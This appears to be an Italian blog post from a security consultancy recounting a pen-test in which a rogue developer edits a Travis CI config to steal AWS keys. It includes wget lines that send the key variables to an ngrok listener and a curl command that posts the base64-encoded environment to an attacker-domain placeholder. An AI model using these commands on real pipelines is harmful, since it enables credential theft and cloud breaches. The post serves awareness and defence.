Hacking Jenkins per prevenire una violazione dei dati nel cloud
Post sul blog 3 febbraio 2021 di Ricardo Sanchez, Senior Security Specialist di Bureau Veritas Cybersecurity
In qualità di esperti di sicurezza, abbiamo eseguito molte valutazioni sul cloud negli ultimi anni, mentre l'intero settore sta crescendo.
A volte riceviamo delle domande fantastiche dai nostri clienti, che sarebbe bello condividere. Un assessment di sicurezza molto interessante è nato da una semplice domanda: "Qual è la cosa peggiore che può accadere se il laptop di uno sviluppatore cloud viene compromesso?".
Si tratta di una preoccupazione comprensibile, visto che di recente si sono verificate massicce violazioni di dati nel cloud. Solo per citarne alcune a titolo di esempio: Capitol One ha perso + 100 milioni di record negli Stati Uniti e + 6 milioni in Canada a causa di una vulnerabilità di falsificazione della richiesta lato server [1], Marriot/Starwood ha perso oltre 500 milioni di record di clienti in una violazione durata 4 anni [2], Facebook/Cultura Colectiva ha perso 540 milioni di record a causa di una configurazione errata del cloud AWS [3] e River City media ha perso 1,34 miliardi di record in una fuga di dati accidentale [4]. Questo è il peggior incubo per uno sviluppatore cloud e forse non è così inverosimile.
Lo scenario anonimo che abbiamo valutato aveva i seguenti presupposti:
- Lo sviluppatore non aveva accesso alle chiavi AWS (e non era previsto che lo facesse).
- Per distribuire l'infrastruttura cloud è stato utilizzato il CICD.
- Le chiavi venivano salvate nel CICD, dove lo sviluppatore non aveva accesso all'ambiente.
- Il processo CICD è stato monitorato per evitare distribuzioni illecite o dannose nel cloud.
Dopo una sessionecongiunta di modellazione delle minacce, abbiamo scoperto interessanti percorsi di attacco e abbiamo deciso di estrarre le chiavi AWS dalla piattaforma CICD e di aggirare tutti i monitoraggi di sicurezza. E lo abbiamo fatto, con successo.
In generale, il processo dell'infrastruttura di distribuzione è il seguente:
- Il codice viene scritto
- Il codice viene spinto sul repository github
- Una volta inviato a github, Travis lo elabora automaticamente.
- Travis esegue un test sul CI
- L'infrastruttura viene distribuita nel cloud
Figura 1: Flusso del processo CICD standard
Esistono diversi "sistemi di costruzione" e ognuno di essi presenta opzioni di configurazione simili:
- Jenkins
- Travis CI
- Pipeline di Azure
- AWS CodeBuild
In questo esempio particolare, verrà utilizzato Travis, in quanto Travis CI è molto diffuso e gratuito.
Travis CI utilizza file yaml per la distribuzione. In particolare, utilizza il file .travis.yml. Poiché questo file in particolare era sotto il nostro controllo come "sviluppatori disonesti" (lo scenario definito dal nostro cliente), siamo stati in grado di modificarlo e di inviarlo a github. Una volta inviato a github, travis lo elaborerà automaticamente.
La nostra prima idea era quella di stampare le variabili chiave e vederle nella console. Purtroppo, la console di travis non era accessibile per noi.
Pertanto, non siamo stati in grado di vedere l'output delle dichiarazioni di stampa.
Per estrarre le variabili chiave interessanti come $AWS_ACCESS_KEY_ID, $aws_secret_key e $aws_key, abbiamo fatto quanto segue:
- Avviare un ascoltatore (come ngrok)
- Impegnare un file `.travis.yml` modificato nel repository con il seguente codice:
after_success:
- echo $AWS_ACCESS_KEY_ID
- wget http://<NGROK URL /$(echo $AWS_ACCESS_KEY_ID)
- wget http://<NGROK URL /$(echo $aws_secret_key)
- wget http://<NGROK URL /$(echo $aws_key)
In alternativa, era possibile prelevare l'ambiente completo con:
- ENV_SEND=`env | base64`
- curl -X POST -k https:// dominio-in-controllo-di-un-attaccante.com/ -dati "$ENV_SEND"
Nel video qui sotto si può osservare il processo completo:
Informazioni sul team
Lo scenario peggiore in caso di compromissione del computer portatile di uno sviluppatore cloud ha trovato risposta con l'impatto potenziale di essere il prossimo nella "Hall of Fame" delle violazioni dei dati cloud. Insieme a questo cliente ci siamo anche allineati per implementare le misure per evitare che ciò accada, che comprendono i servizi cloud come indicato di seguito: 1, 2 e 3.
Questa indagine è stata eseguita dai nostri esperti Secura Cloud: Roy Stultiens eRicardo Sanchez. Saremmo lieti di aiutarla ad ottenere maggiori informazioni sulla sicurezza del suo cloud.
Possiamo aiutarla e offriamo diversi servizi cloud come:
- Threat Modeling
- Formazione sulla sicurezza del cloud
- Assessment della scatola di cristallo del cloud
- Formazione in materia di hacking nel cloud
- Test di attacco e di penetrazione.
- Gestione delle vulnerabilità.
Ricardoè uno degli esperti di cloud di Bureau Veritas Cybersecurity con una forte spinta a migliorarsi sempre. Ha conseguito un Master in Cyber Security e si diverte a completare diverse certificazioni all'anno, che portano alla seguente impressionante lista: OSCP, CISSP, SANS 588 (Cloud Penetration Testing), SANS Manager 516 (Managing Security Vulnerabilities: Enterprise and Cloud), CCSK, AWS Certified Solutions Architect and Security Specialty, Azure Certified Security Engineer, Metasploit Pro Certified Specialist, Nexpose Advanced Administrator (NACA), Certified Ethical Hacker (CEH), eCCPT, eWPT, InsightIDR Certified Specialist, Network Assault, Certificazioni CompTIA Network e Security +. Oltre a un distintivo di hacker in hack the box.
Il suo cane Taco è spesso al suo fianco ed è un prezioso membro del team! Anche lei è interessato a potenziare il suo percorso di apprendimento e a diventare uno dei nostri hacker etici? Si unisca a Secura!